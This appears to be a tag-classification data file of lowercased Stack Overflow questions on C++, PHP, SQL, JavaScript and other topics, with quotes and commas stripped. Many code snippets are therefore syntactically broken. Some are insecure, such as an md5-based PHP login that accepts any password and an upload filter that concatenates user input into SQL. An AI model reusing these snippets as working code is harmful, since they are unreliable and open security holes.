c++  decltype and constness error  i can t understand why the following code is wrong.    <pre><code>struct a{     typedef std::vector&lt;std::vector&lt;int&gt;&gt; base;      // const auto&amp; func(std::size_t e) const     auto func(std::size_t e) const -&gt; decltype(std::declval&lt;base&gt;()[e])     {             return base[e];     }      base base; }; </code></pre>   i get compile error with the above snippet in gcc 4.8.1. (error: invalid initialization of reference of type  __gnu_cxx::__alloc_traits > >::value_type&amp; {aka std::vector&amp;}  from expression of type  const value_type {aka const std::vector}     return base[e];)     note that if i delete the <code>const</code> qualifier  it works fine.    but if i replace the part for function signiture by the commented one (to use the automatic type deduction introduced in c++14). no error is generated. so  i guess the decltype part is wrong.,c++
how to get the right substring after split   i have a string like this:<code>[name ;24  name;23  name;22]</code>. how can i split this string to obtain only the numbers after ;,java
filter and delete key values in json array  had generated one json array using the filter.   <pre><code>orders = filterfilter(vm.gridoptions.data  {                                 sampleid: 295                         }); </code></pre>   here i filtered my  orders array and i got this.   <pre><code>{    orders : [     {        orderid : 51491         orderdate :  2016-12-19t13:35:39          regid : 1354         sampleid : 295         name :  test          namear :  test      }      {        orderid : 51493         orderdate :  2016-12-19t13:35:39          regid : 1354         sampleid : 295         name :  test          namear :  test        }   ] } </code></pre>   can i filter in way  it should keep only one field in the orders array. using angular filter i need to do this.    i need an array like this.   <pre><code>{    orders : [     {        orderid : 51491     }      {        orderid : 51493     }   ] } </code></pre>,angularjs
sql - multiple join left with sum doesn t give expected result  here is my request    <pre><code>select j.*       c.name as client_name       s.name as supplier_name      s.id as supplier_id       mt.*       sum(pb.require_followup) as nb_followup      sum(ws.worked_time) as hours_on_job      sum(iv.total) as total_price      sum(iv.hour_expected) as hours_planned      j.id as id   from $wpdb-&gt;posts j left join  .job::$meta_table.  mt on mt.post_id = j.id  left join  .job::$link_table_job_contact.  l1 on l1.job_id = j.id  left join  .contact::$table_name.  c on  c.id = l1.contact_id left join  .supplier::$table_name.  s on  s.id = c.supplier_id left join  .problem::$table_name.  pb on  pb.job_id = j.id left join  .worksheet::$table_name.  ws on  ws.job_id = j.id left join  .invoice::$table_name.  iv on  iv.job_id = j.id  where j.post_status =  publish       and j.post_type =  job       .implode(    $where_condition).  group by j.id order by j.post_date desc </code></pre>   the problem is that result for sum is wrong when i left join other table. the row 53 for example give <code>105</code> for nb_followup instead of <code>1</code>    where this request return the right result simply by removing the last 2 left join : <code>left join  .worksheet::$table_name.  ws on  ws.job_id = j.id</code> and <code>left join  .invoice::$table_name.  iv on  iv.job_id = j.id</code>   <pre><code>select j.*       c.name as client_name       s.name as supplier_name      s.id as supplier_id       mt.*       sum(pb.require_followup) as nb_followup      j.id as id   from $wpdb-&gt;posts j left join  .job::$meta_table.  mt on mt.post_id = j.id  left join  .job::$link_table_job_contact.  l1 on l1.job_id = j.id  left join  .contact::$table_name.  c on  c.id = l1.contact_id left join  .supplier::$table_name.  s on  s.id = c.supplier_id left join  .problem::$table_name.  pb on  pb.job_id = j.id   where j.post_status =  publish       and j.post_type =  job       .implode(    $where_condition).  group by j.id order by j.post_date desc </code></pre>   also removing only <code>left join  .invoice::$table_name.  iv on  iv.job_id = j.id</code> will give <code>15</code> as result for the row 53    to resume    full request give <code>105</code> -> wrong should be <code>1</code>    removing the last join give <code>15</code> -> wrong should be <code>1</code>    removing the last 2 join give <code>1</code> -> correct,sql
syntax for multiple protocols  what is the objective-c syntax for multiple protocols,objective-c
using assert to help the compiler to optimize better  consider this code:   <pre><code>void foo(int n) {     assert(n&gt;=0&amp;&amp;n&lt;=3);      for (int i=0; i&lt;n; i++) {         dosomething();     } } </code></pre>   here  there is an assert: <code>n</code> is between [0;3]. asserts generally used for checking programmer mistakes. but here  it could be used as a hint to the compiler that <code>n</code> is between [0;3]  so it could optimize better. maybe it can unroll the loop  and use a jump.    for gcc  we can help the compiler manually:   <pre><code>if (!(n&gt;=0&amp;&amp;n&lt;=3)) __builtin_unreachable(); </code></pre>   here  gcc was actually informed that n is between [0;3]  so it could generate better code.    my question is: is it possible to create a (possibly compiler dependent) <code>new_assert</code> macro  which can tell hints to the compiler in release builds  this solution must be transparent  so it can be a full replacement for the <code>assert</code> macro. for example  in  <code>new_assert(func());</code>  <code>func()</code> must not be called in release builds  if it has side effects.    or  if it is not possible  another useful <code>new_assert</code> could be  if the condition is not allowed to have side effects (it would cause compile-time error)  so we can use <code>if (!(cond)) __builtin_unreachable();</code> in release builds without the fear that <code>cond</code> has a side effect. i.e. is it possible to create a <code>new_assert</code> that is checked whether its condition has side effects     <a href= https://stackoverflow.com/questions/46150723/is-there-any-reason-not-to-wrap-assert-in-a-macro-that-resolves-to-builtin-u >this</a> is a related question.    <a href= https://stackoverflow.com/questions/23709259/optimization-asserts-and-release-mode >this</a> is a very similar question  but this time i ask whether it is possible to create a full replacement for the <code>assert</code> macro (so we can avoid manually annotating code),c++
connection with excel  i m trying to get dynamic connection from external file with excel vi c# my code is   <pre><code>excel.connection objconn; objconn=null; excel.workconnection wc=objconn.addfromfile( c:\\test.odc ); </code></pre>   when i do debuging the compiler give me exception  object reference not set to an instance an object on the last statement please help me,.net
uiwebview does not load full content from an url  i have a uiwebview where i load a url. but it does not load full content. i have checked all possible forums for solution but couldn t find a breakthrough yet. any help would be really appreciated  you can try out the below url yourself. basically  the url is supposed to contain html5 content/player.   <pre><code>-(void)loadplayerurl {     activityindicatorview.hidden = no;     nsurl* nsurl = [nsurl urlwithstring:@ http://watch.nimbletv.com/tv ]     nsurlrequest* request = [nsurlrequest requestwithurl:nsurl cachepolicy:nsurlrequestreloadignoringlocalandremotecachedata timeoutinterval:30];     [self.playerwebview loadrequest:request]; } </code></pre>   however  this works perfectly in safari or any other browser.,ios
xml node comparison  xml #1:   <pre><code>&lt;row&gt;   &lt;user_id&gt;2&lt;/user_id&gt;   &lt;user_name&gt;oop&lt;/user_name&gt;   &lt;email&gt;example@gmail.com&lt;/email&gt;   &lt;password&gt;7515464&lt;/password&gt;   &lt;user_type&gt;3&lt;/user_type&gt; &lt;/row&gt; &lt;row&gt;   &lt;user_id&gt;3&lt;/user_id&gt;   &lt;user_name&gt;oop&lt;/user_name&gt;   &lt;email&gt;example@gmail.com&lt;/email&gt;   &lt;password&gt;7515464&lt;/password&gt;   &lt;user_type&gt;3&lt;/user_type&gt; &lt;/row&gt; </code></pre>   xml #2:   <pre><code>&lt;row&gt;   &lt;user_id&gt;4&lt;/user_id&gt;   &lt;user_name&gt;os&lt;/user_name&gt;   &lt;email&gt;example@gmail.com&lt;/email&gt;   &lt;password&gt;7515464&lt;/password&gt;   &lt;user_type&gt;3&lt;/user_type&gt; &lt;/row&gt; &lt;row&gt;   &lt;user_id&gt;2&lt;/user_id&gt;   &lt;user_name&gt;os&lt;/user_name&gt;   &lt;email&gt;example1@gmail.com&lt;/email&gt;   &lt;password&gt;7515464&lt;/password&gt;   &lt;user_type&gt;3&lt;/user_type&gt; &lt;/row&gt; </code></pre>   i want the application to split the two stacks in chunks and add random number to each chunk and comparing the corresponding nodes in these sub-stacks by using multiple threads,c#
i can access associativearray[a][2][1] correctly.(0<= a< 2) but if want to access associativearray[a][2][0]  it gives me wrong result  0621 - is std code 22465874 - is phone number.    i can access  phone number correctly but using $associativearray[0][2][0] gives wrong value.   <pre><code>     &lt; php error_reporting(0);   echo  &lt;br&gt; ;  $associativearray = array(                          array(1   rahul   array(0621  22465874))                          array(2   ayushi   array(0261  2265471))                          array(3   ritik   array(2314  4789556))                       );   echo $associativearray[0][2][0]   &lt;br&gt; ; echo $associativearray[0][2][1];  &gt; </code></pre>,php
xenocode postbuild and remotesoft s salamander: experiences  preferences   one of my client s requirements is that the product be distributed without the need for other installations - e.g. .net.    after research i have found xenocode s postbuild and remotesoft s salamander.  both seem to do what i need.  has anyone here used either of these tools and will you share your experiences   can you compare the costs       xenocode is asking me for details of my product before providing me with a price  which gives me a great deal of pause.  are there hidden costs,.net
filtering text from string  i have it now like this:   <pre><code>using system; using system.collections.generic; using system.io; using system.linq; using system.net; using system.text; using system.text.regularexpressions; using system.threading; using system.threading.tasks;  namespace consoleapplication2 {    public class program     {         static void main(string[] args)         {              //consider making this configurable             const string sourcefile =  test2.txt ;             const string pattern =  http://10.123.9.66:80 ;             //var firstseparatorlastnameexact = new[] {  nosyn_name_last_exact:(qxq  };             //var secondseparatorlastnameexact = new[] {  qxq)  };              string[] firstseparator = new string[] {  nosyn_name_last_exact:(qxq  };             string[] secondseparator = new string[] {  qxq)  };              string[] firstseperatorfirstname = new string[] { nosyn_name_first_exact:(qxq };             string[] secondseperatorfirstname = new string[]{ qxq) };                regex re = new regex( ^(http|https):// );             httpwebresponse response;             // var webclient = new webclient();             var times = new dictionary&lt;string  timespan&gt;();             var stopwatch = new system.diagnostics.stopwatch();              //add header so if headers are tracked  it will show it is your application rather than something ambiguous             //webclient.headers.add(httprequestheader.useragent   response-tester-client );              var urllist = new list&lt;string&gt;();              //loop through the lines in the file to get the urls              try             {                 stopwatch.start();                 using (var reader = new streamreader(sourcefile))                 {                      while (!reader.endofstream)                     {                         var urnewlist = new list&lt;string&gt;();                         var line = reader.readline();                         //line = line.substring(line.indexof(pattern));                         //line.split( \t );                         var columns = line.split( \t );                         //var result = line.split(seperator  stringsplitoptions.removeemptyentries)[1].split( ) )[0];                         if (columns[2] ==  r )                         {                             var url = columns[4] +     + columns[5];                             urllist.add(url);                             thread.sleep(250);                         }                         //if (line.contains(result))                         //{                             //matchcollection matches = regex.matches(line  lastname);                             //foreach (string lines in file.readlines(sourcefile))                             //{                                  //var lastnamesearch = line.split(firstseparatorlastnameexact  stringsplitoptions.removeemptyentries)[1];                                 //var resultlastnamesearch = lastnamesearch.split(firstseparatorlastnameexact  stringsplitoptions.removeemptyentries)[0];                                   //var temp = line.split(firstseparator  stringsplitoptions.removeemptyentries)[1];                                 //var result2 = temp.split(secondseparator  stringsplitoptions.removeemptyentries)[0];                                 //console.writeline(result2);                          string[] result = line.split(firstseperatorfirstname  stringsplitoptions.removeemptyentries);                         if (result.length &gt; 2)                         {                             string[] inner = result[1].split( ) );                             if (inner.length &gt; 1)                             {                                 console.writeline(inner[0]);                                 console.writeline(result);                             }                         }                           //var split = line.split(firstseperatorfirstname  stringsplitoptions.removeemptyentries);                          //if (split.length &gt; 1)                         //{                         //    console.writeline(split[1].split( ) )[0]);                         //   // console.writeline(split);                         //}                       }                 }             }              catch (exception e)             {                 console.writeline( an error occured while attempting to access the source file at {0}   sourcefile);             }             finally             {                 //stop  record and reset the stopwatch                 stopwatch.stop();                 times.add( filereadtime   stopwatch.elapsed);                 stopwatch.reset();             }              //try to connect to each url             var counter = 1;             foreach (var url in urllist)             {                 try                 {                     stopwatch.start();                      using (webclient webclient = new webclient())                     {                          webclient.headers.add(httprequestheader.useragent   response-tester-client );                         // httpwebrequest request = (httpwebrequest)webrequest.create(url);                         httpwebrequest request = (httpwebrequest)webrequest.create(url);                         request.method =  post ;                          //webclient.dispose();                     }                 }                 catch (exception e)                 {                     console.writeline( an error occured while attempting to connect to {0}   url);                 }                 finally                 {                     stopwatch.stop();                      //we use the counter for a friendlier url as the current ones are unwieldly                     times.add( url   + counter  stopwatch.elapsed);                     counter++;                      stopwatch.reset();                 }             }              //release the resources for the webclient              //webclient.dispose();              //write the response times              console.writeline( url   +  \t\t\t\tlast name );             foreach (var key in times.keys)             {                 console.writeline( {0}: {1}   key  times[key].totalseconds);             }               console.readkey();         }     } } </code></pre>   but i still get the error: index was outside the bounds of the array. so how to change it  and in fact it also has to be remove the qxq. i try it with two string that i declared above    thank you,c#
"fill height of second div to 100% of page (pure css)  is it possible with the latest in css to get a flexible height div (a) and a div (b) which stretches to fill the page      something in the line of :   <pre><code>div.a { height: calc(100% - div.a.height); } </code></pre>   <div class= snippet  data-lang= js  data-hide= true  data-console= false  data-babel= false >
 <div class= snippet-code snippet-currently-hidden >
 <pre class= snippet-code-css lang-css prettyprint-override ><code>body {
   background-color: #fefefe;
 }
 div {
   padding: 20px;
   margin: 10px;
   border: 4px solid black;
   width: 100px
 }
 div.a {
   background-color: #278dae;
 }
 div.b {
   background-color: #409b24;
   /*height: calc(100% - div.a.height);   &lt;-- this */
 }</code></pre>
 <pre class= snippet-code-html lang-html prettyprint-override ><code>&lt;body&gt;
   &lt;div class= a &gt;a&lt;/div&gt;
   &lt;div class= b &gt;b&lt;/div&gt;
 &lt;/body&gt;</code></pre>
 </div>
 </div>
     <a href= https://i.stack.imgur.com/ucp2u.png  rel= nofollow noreferrer ><img src= https://i.stack.imgur.com/ucp2u.png  alt= visual example ></a>",css
error in php code regarding login  i am doing an android project and i ve got a problem while logging into the account. i am able to login even if the password is incorrect or empty. i am unable to recognize the error. i have checked my code but nothing helped me could anyone help me with this     my code:    <strong>userlogin.php</strong>   <pre><code>require_once  ../includes/dboperations.php ;  $response = array();   if($_server[ request_method ]== post ){ if(isset($_post[ username ]) and isset($_post[ password ])){     $db = new dboperations();      $result = $db-&gt;userlogin($_post[ username ]  $_post[ password ]);      if ($result == 1) {         # code...         $user = $db-&gt;getuserbyusername($_post[ username ]);         $response[ error ] = false;          $response[ id ] = $user[ id ];         $response[ email ] = $user[ email ];         $response[ username ] = $user[ username ];         $response[ phone ] = $user[ phone ];         $response[ gender ] = $user[ gender ];         $response[ message ] =  found successfully ;     }     elseif ($result == 2) {          # code...         $response[ error ] = true;          $response[ message ] =  some error occurred please try again ;     }     }else{     $response[ error ] = true;      $response[ message ] =  required fields are missing ;      }    }    echo json_encode($response); </code></pre>   <strong>dboperations.php</strong>   <pre><code>public function userlogin($username  $pass){         $password = md5($pass);         $stmt = $this-&gt;con-&gt;prepare( select * from users where username =   and password =  ; );         if($stmt != false){         $stmt-&gt;bind_param( ss  $username $password);         if($stmt-&gt;execute()){                 return 1;              }else{                 return 2;              }         $stmt-&gt;store_result();          $stmt-&gt;close();          else         {             var_dump($this-&gt;con-&gt;error);                     }     }      public function getuserbyusername($username){         $stmt = $this-&gt;con-&gt;prepare( select * from users where username =  ; );         if($stmt != false){         $stmt-&gt;bind_param( s  $username);         $stmt-&gt;execute();         return $stmt-&gt;get_result()-&gt;fetch_assoc();     }     else     {         var_dump($this-&gt;con-&gt;error);     }     } </code></pre>,php
why do we use try  except in python  i didn t understand why we should use try and except in our code. i mean when the code is wrong  the system always returns some error telling us which part cannot pass coding. from my understanding  try and except also throw some error to us when the code goes wrong. so  could anyone tell me why we should use try and except,python
how to achieve just the ctrl + a functionality of contenteditable attribute   i m trying to display a div with some example code for users. i want them to be able to select inside the div and use ctrl + a to select all of the example code  but i don t want them to be able to edit the actual text (lest the remove a bit on accident and then it won t work).    i m achieving this right now through contenteditable set on the div  but how do i get the same functionality of this attribute sans the actual text editing     <strong>edit:</strong> looking at the solution linked in <a href= https://stackoverflow.com/users/477563/mr-llama >@mr. llama</a> s <a href= https://stackoverflow.com/questions/32704718/how-to-achieve-just-the-ctrl-a-functionality-of-contenteditable-attribute#comment53252976_32704718 >comment</a>  i can use this method to achieve the primary functionality i m looking for. however  if possible i would like to simply allow for the ctrl + a command my users are familiar with  and still allow for the manual highlighting of snippets of the div s text. again  all while disallowing the addition or removal of any text.,html
how to close dropdown by clicking any where in html page <pre><code>**script** $( .select ul li.option ).click(function() {     $(this).siblings().toggle().removeclass( darr );     $(this).addclass( darr ); }) </code></pre>   <a href= http://jsfiddle.net/wftvq/2/  rel= nofollow >http://jsfiddle.net/wftvq/2/</a>      hi frnds here the dropdown is working but i need if i click any where in the html apart from dropdown also the drop down should close. can any one suggest solution.,jquery
what kind of query language is this   i was given a querystring that looks something like the following:   <pre><code> (foo : bar  or baz :  qux ) and  (abc:def or test:ok or (fish:carp and foobar:bazqux))  and not otherthing:true   and -(-derp:*)   or (name:* and abcdef:[* to *])  </code></pre>   i need to figure out what query language this is so i can find the rest of the documentation on it  but i can t seem to figure out exactly what it is. it appears to be some form of sql  but it has some small differences from what i ve previously seen. does anyone know what this might be,sql
enable ssl for certain resource actions  my setup: rails 3.0.9  ruby 1.9.2    i wish to enable ssl only for the create action for projects  how do i do that  currently i have    <pre><code>  resources :projects  :constraints =&gt; { :protocol =&gt;  https  }  :only =&gt; :create   resources :projects  :except =&gt; :create </code></pre>   i don t think that s quite right though.    <strong>updated</strong>    i have since changed it to    <pre><code>  match  projects  =&gt;  projects#create   :constraints =&gt; { :protocol =&gt;  https  }  :via =&gt; :post   resources :projects  :except =&gt; :create </code></pre>   i think this is better but is there yet a better way of doing it,ruby-on-rails
how to identify checkboxes of a specific column in a grid using javascript  i already posted this question.sorry that i failed to add any code.that thread is closed. apologies. i m bothering you all again.     anyways  i just want to identify checkboxes of a specific columns in a radgrid  i have two columns. and two buttons.if i click one button i need to check/uncheck checkboxes of that particular column alone.kind help please i already tried this. now all checkboxes in the grid are getting checked/unchecked.    please find the code below.   <pre><code>var inputs = document.getelementsbytagname( input ); //or document.forms[0].elements;     for (var i = 0; i &lt; input.length; i++)     {        if (input[i].type ==  checkbox )         {            if (input[i].checked) {                input[i].checked = false;            }            else             {                input[i].checked = true;            }        }    } </code></pre>   please tell me on how can i pick check boxes of a particular column alone      html code:   <pre><code>    &lt;html xmlns= http://www.w3.org/1999/xhtml &gt;   &lt;head id= head1  runat= server &gt;    &lt;script language= javascript  type= text/javascript &gt;          function clickbutton()         {            debugger;             var inputs = document.getelementsbytagname( input ); //or document.forms[0].elements;             for (var i = 0; i &lt; input.length; i++)             {                if (input[i].type ==  checkbox )                 {                    if (input[i].checked) {                        input[i].checked = false;                    }                    else                     {                        input[i].checked = true;                    }                }            }              }   &lt;/script&gt; &lt;/head&gt; &lt;body class= body &gt;     &lt;form id= mainform  method= post  runat= server &gt;         &lt;asp:scriptmanager id= scriptmanager1  runat= server  /&gt;          &lt;!-- content start --&gt;         &lt;telerik:radajaxmanager id= radajaxmanager1  runat= server &gt;             &lt;ajaxsettings&gt;                 &lt;telerik:ajaxsetting ajaxcontrolid= radgrid1 &gt;                     &lt;updatedcontrols&gt;                         &lt;telerik:ajaxupdatedcontrol controlid= radgrid1  /&gt;                     &lt;/updatedcontrols&gt;                 &lt;/telerik:ajaxsetting&gt;                 &lt;telerik:ajaxsetting ajaxcontrolid= clrfilters &gt;                     &lt;updatedcontrols&gt;                         &lt;telerik:ajaxupdatedcontrol controlid= radgrid1  /&gt;                         &lt;telerik:ajaxupdatedcontrol controlid= clrfilters  /&gt;                     &lt;/updatedcontrols&gt;                 &lt;/telerik:ajaxsetting&gt;             &lt;/ajaxsettings&gt;         &lt;/telerik:radajaxmanager&gt;         &lt;telerik:radgrid id= radgrid1  autogeneratecolumns= false               allowsorting= true  clientsettings-scrolling-allowscroll= true              allowfilteringbycolumn= true  width= 1251px  runat= server  oncolumncreating= radgrid1_columncreating                onitemcommand= radgrid1_itemcommand               onneeddatasource= radgrid1_needdatasource  skin= gray               onitemdatabound= radgrid1_itemdatabound   onitemcreated= radgrid1_itemcreated             &gt;             &lt;footerstyle horizontalalign= center  verticalalign= middle  /&gt;             &lt;alternatingitemstyle horizontalalign= center  verticalalign= middle  /&gt;             &lt;itemstyle horizontalalign= center  verticalalign= middle  /&gt;             &lt;pagerstyle mode= numericpages  /&gt;             &lt;mastertableview&gt;   &lt;rowindicatorcolumn&gt; &lt;headerstyle width= 20px &gt;&lt;/headerstyle&gt; &lt;/rowindicatorcolumn&gt;  &lt;expandcollapsecolumn&gt; &lt;headerstyle width= 20px &gt;&lt;/headerstyle&gt; &lt;/expandcollapsecolumn&gt;             &lt;/mastertableview&gt;               &lt;selecteditemstyle horizontalalign= center  verticalalign= middle  /&gt;             &lt;headerstyle horizontalalign= center  verticalalign= middle  /&gt;   &lt;clientsettings&gt;     &lt;selecting allowrowselect= true  /&gt; &lt;scrolling allowscroll= true &gt;&lt;/scrolling&gt; &lt;/clientsettings&gt;  &lt;filtermenu enabletheming= true &gt; &lt;collapseanimation type= outquint  duration= 200 &gt;&lt;/collapseanimation&gt; &lt;/filtermenu&gt;              &lt;edititemstyle horizontalalign= center  verticalalign= middle  /&gt;             &lt;activeitemstyle horizontalalign= right  verticalalign= middle  /&gt;             &lt;filteritemstyle horizontalalign= center  verticalalign= middle  /&gt;          &lt;/telerik:radgrid&gt;           &lt;br /&gt;            &amp;nbsp;&amp;nbsp;&amp;nbsp;         &lt;p&gt;            &lt;/p&gt;      &lt;/form&gt; &lt;/body&gt; &lt;/html&gt; </code></pre>   i m creating checkboxes and button dynamically.,javascript
treeview with in dropdown jquery  is there any jquery plug-in where treeview will be there with in dropdown. if so then please give me the url.,jquery
how get an apostrophe in a string in javascript  i m doing some stuff with javascript and i m wondering  how do i put an apostrophe in a string in javascript    <pre><code>theanchortext =  i apostrophe m home ; </code></pre>,javascript
sizeof list and traversal  i have this array in main.   <pre><code>int main() {     int list[] = {1 2 3};      print_list(list); } </code></pre>   according to the compiler warning the list is <code>null</code> terminated.     when i try to print the list i will print an extra element because sizeof(list) seems to be +1.   <pre><code>void print_list(const int *list) {      int i;     for(i=0; i &lt; sizeof(list); i++)         printf(list[i]); } </code></pre>   should i run the for loop with <code>sizeof(list) - 1</code> for any case that looks like this  or should i check inside the loop for <code>if(list[i] == null</code>      if my function was not making a pointer out of the list i could use: <code>sizeof(list)/sizeof(list[0])</code>    <strong>the function is turning the array into a pointer. so how can i get the accurate size </strong>    it is true my question is very simple and trivial to some. i do believe i have shown enough effort though  please help.    [edit] <a href= https://stackoverflow.com/questions/1975128/sizeof-an-array-in-the-c-programming-language >why isn&#39;t the size of an array parameter the same as within main </a>  that is what i know already  it still doesn t answer my question so not a duplicate.,c
full text search working unexpectedly  db structure is like this:   <pre><code>no|brand|name  1|vim|one 2|vim|two 3|vimal|three </code></pre>   my query to search full text on this table is this:   <pre><code>$words[0]= vim ; $query =  select * from products where match (name brand) against ( * .$words[0]. *  in boolean mode) ; </code></pre>   it returns only third row with brand value as <code>vimal</code> &amp; no above two rows are returned where as it should return all three rows.    like query works fine though <code>like %$words[0]%</code>.    can anyone tell why full text search is not working okay or ami i missing something here,mysql
how to avoid state reload using angular  have created an app that uses two separate areas to display data. one on top of the other (because that seemed like a cool idea:) )    my problem is that both are controlled by states  and i can not figure out how to make it so that the underlying state is not updated when the top layer is. however  i want the underlying layer to always be there.     this is how i have set up the states   <pre><code>.config(function ($stateprovider  $urlrouterprovider) {         $urlrouterprovider.otherwise(  ); //setting the default to the padz          $stateprovider             .state( index   {                 url:                     views: {                      musicview : {                         templateurl:  partials/music                           controller:  musiccontroller                      }                       controlview : {                         templateurl:  controlview/welcome                           controller:  controllercv                      }                 }              })             .state( about   {                 url:  about                   views: {                      musicview : {                         templateurl:  partials/music                           controller:  musiccontroller                      }                       controlview : {                         templateurl:  controlview/welcome                           cotroller:  contrillercv                      }                 }              })             .state( config   {                 url:  config                   views: {                      musicview : {                         templateurl:  partials/music                           controller:  musiccontroller                      }                       controlview : {                         templateurl:  controlview/config                           cotroller:  controllercv                      }                 }             })             .state( contact   {                 url:  contact                   views: {                      musicview : {                         templateurl:  partials/music                           controller:  musiccontroller                      }                       controlview : {                         templateurl:  controlview/contact                           cotroller:  controllercv                      }                 }             })             .state( forum   {                 url:  forum                   views: {                      musicview : {                         templateurl:  partials/music                           controller:  musiccontroller                      }                       controlview : {                         templateurl:  controlview/forum                           cotroller:  controllercv                      }                 }             }) </code></pre>   and this is the ui-views   <pre><code>&lt;div id= musiccontainer &gt;     &lt;div ui-view= musicview &gt;&lt;/div&gt; &lt;/div&gt;&lt;!-- end of container--&gt;  &lt;div id= controllayer &gt;     &lt;% include controlview/controls/defaults.ejs %&gt;         &lt;div id= controlwindow &gt;             &lt;div ui-view= controlview &gt;             &lt;/div&gt;     &lt;/div&gt;     &lt;% include controlview/controls/playlog.ejs %&gt; &lt;/div&gt; </code></pre>,angularjs
int * const and extern int *  there s two c language flies.<br> <code>main.c</code>:    <pre><code>// main.c #include &lt;stdio.h&gt;  extern int * a; extern int d;  int main(){     printf( ==&gt; a==&gt;%p\n   a);     printf( ==&gt;&amp;a==&gt;%p\n   &amp;a);     printf( ==&gt;%zd\n   *a);     printf( ======================\n );      int c = 5;     a = &amp;c;      printf( ==&gt; a==&gt;%p\n   a);     printf( ==&gt;&amp;a==&gt;%p\n   &amp;a);     printf( ==&gt;%zd\n   *a);     printf( ======================\n );      d = 5;     printf( ==&gt;%d\n   d);      return 0; } </code></pre>   <code>global.c</code>:   <pre><code>// global.c int b = 1; int * const a = &amp;b; int const d = 1; </code></pre>   i run the command <code>cc main.c global.c</code> and <code>./a.out</code> then i find the variable <code>a</code> s value can be changed  and the variable <code>d</code> s value can t be changed.<br> why,c
getting checked checkbox display name  i have a set of checkboxes:   <pre><code>&lt;input type= checkbox  value= 111  name= checkbox   id= 1 &gt;india &lt;input type= checkbox  value= 121  name= checkbox  id= 21 &gt;pak &lt;input type= checkbox  value= 131  name= checkbox  id= 31 &gt;china &lt;!-- ... --&gt; &lt;input type= checkbox  value= 141  name= checkbox  id= 10 &gt;srilanka </code></pre>   i want to get the display name of checked check boxes like if india   pak ... i tried with following code which gives me value 111 121  ....   <pre><code>    field= document.form.checkbox;      for(var i=0; i &lt; field.length; i++)                        {                           if(document.getelementbyid(i).checked==true)                          cities+=document.classifiedform.checkbox[i].value +    ;                            }  </code></pre>,javascript
how set obj coordinate in javascript  <pre><code>var firstbut = document.createelement( button );     firstbut.id= firstbut ;     firstbut.top=500;     firstbut.left=500;     firstbut.textcontent= нажми меня      document.body.appendchild(firstbut); </code></pre>   i want to set specific coordinate for elements.  i dont find any variant how to do this  can you help me pls,javascript
how to implement different eventlistener for each row in my table generated through javascript  my javascript code pulls out data from a xml file and prepares a data grid using that data. for each row of my table  i want to set the eventlistener property to open a file whose name is actually the  pid  field which is in that row.  the code is below:   <pre><code>//some code to get the xml file var x = [];       xmlhttp=new xmlhttprequest();      xmlhttp.open( get   newdata.xml  false);     xmlhttp.send();     xmldoc=xmlhttp.responsexml;  //now creating each row from the data which i have pushed into array x      var file_pid =   ;     for (i=0;i&lt;x.length;i++)       { var file_pid =  papers/  + x[i].getelementsbytagname( pid )[0].childnodes[0].nodevalue +  .pdf ;  //create each row and corresponding attributes       tr = document.createelement( tr );       tr.addeventlistener( click  function() {window.open(file_pid)} false); </code></pre>   now the problem is that the event listener is added but each row opens 1 file  8.pdf  which is the last record in the xml file. what should i do to make it open only the file name assigned to that perticular row,javascript
mysql  like  or exact against filter string  we have and upload functions on our webpage  and there we have a filter database that you can add things that the user must not be allowed to upload.    and the upload side we have a mysql query that was suppose to block upload if the name persist in the filter database.    our query now is :   <pre><code>$db-&gt;query( select id from filter where filter like  % . $properties[ title ] . %  );  if($db-&gt;record_count() != 0) {     $err =  [b]cannot upload this![/b] ;     include(server_root .  /sections/upload/upload.php );     die(); } </code></pre>   problem now is if we block : my.dog.in.the.ocean.my.homevid.mp4 then it also blocks: my.dog.in.the.garden.avi    we need the query only to block if the filter string exist in the name excatly.    any ideers on what to change so that it blocks correctly     *note: $db->record_count = function to cover mysqli_num_rows    ofcause  we got $properties to be the properties of uploaded element  and thereby title to to be the string title,mysql
is it possible to access the class object in a static method   consider the following java class:   <pre><code>public class foo {     public static void dostuff()     {         // boring stuff here     } } </code></pre>   is it possible to access either the class literal <code>foo.class</code>  or just the class name <code> foo </code> from within a static method such as <code>dostuff()</code>  in a non-static method i would just call <code>this.getclass()</code>  but there is no <code>this</code> to use in a static method.   <hr>   <strong>edit:</strong> sorry this wasn t clear - i want to do this with explicitly using the class literal <code>foo.class</code>.,java
help using join in a select statement  i am trying to join table_1 and table_2  i need to use every one of these fields in my html table.  i am getting an error about my from clause  but i believe there are more errors involved.                                 <pre><code>                            select                               +  table_1.id                                +  table_1.date                                +  table_1.location                                +  table_1.name                                +  table_1.status                               +  table_2.date                                +  table_2.location                                +  table_2.name                                +  table_2.type                            +  from schema_1.table_1 join schema_1.table_2                            +  where table_1.id = table_2.id                            +  and add_user =   ); </code></pre>,sql
incompatible pointer type in c  so i m trying to pass a type <code>double *</code> to a function that accepts <code>void **</code> as one of the parameters. this is the warning that i am getting.   <pre><code>incompatible pointer type passing  double **  to parameter of type  void **  </code></pre>   here is a snippet of my code.   <pre><code>int main( void ) {     //  local declaration     double *target;     //   statement    success = dequeue(queuein  &amp;target); } </code></pre>   here s the prototype declaration of the function.   <pre><code>int    dequeue     ( queue *queue  void **dataoutptr ); </code></pre>   i thought that if i passed target as a two level pointer that it would work  but i guess i m wrong. can someone please explain to me how come i m getting this warning,c
how to send email with php over my existing email account under centos  we have centos  and we want to send emails over our existing mail-accounts. the server script is in php. i use the mail() function of php  but i want to use it with the exception that it shall use an existing mail account to send mails.,php
ios: manual retain release on ios development  i am working with the project where i am doing manual retain and release. i have come across one of many tutorials related to this on the following link.    <a href= http://www.drdobbs.com/mobile/automatic-reference-counting-on-ios/240000820  rel= nofollow >http://www.drdobbs.com/mobile/automatic-reference-counting-on-ios/240000820</a>    i am little confused from the above link. under  managing by messaging  title  they mentioned if i use  alloc/init  it increases the ref. count to  1   if i again  retain  it  it again increases and becomes  2  and again use  retain   becomes now  3   but they are <strong>not</strong>  releasing  three times to completely free this memory  instead they are freeing only two times. how this is possible  i m little confused after seeing this.,ios
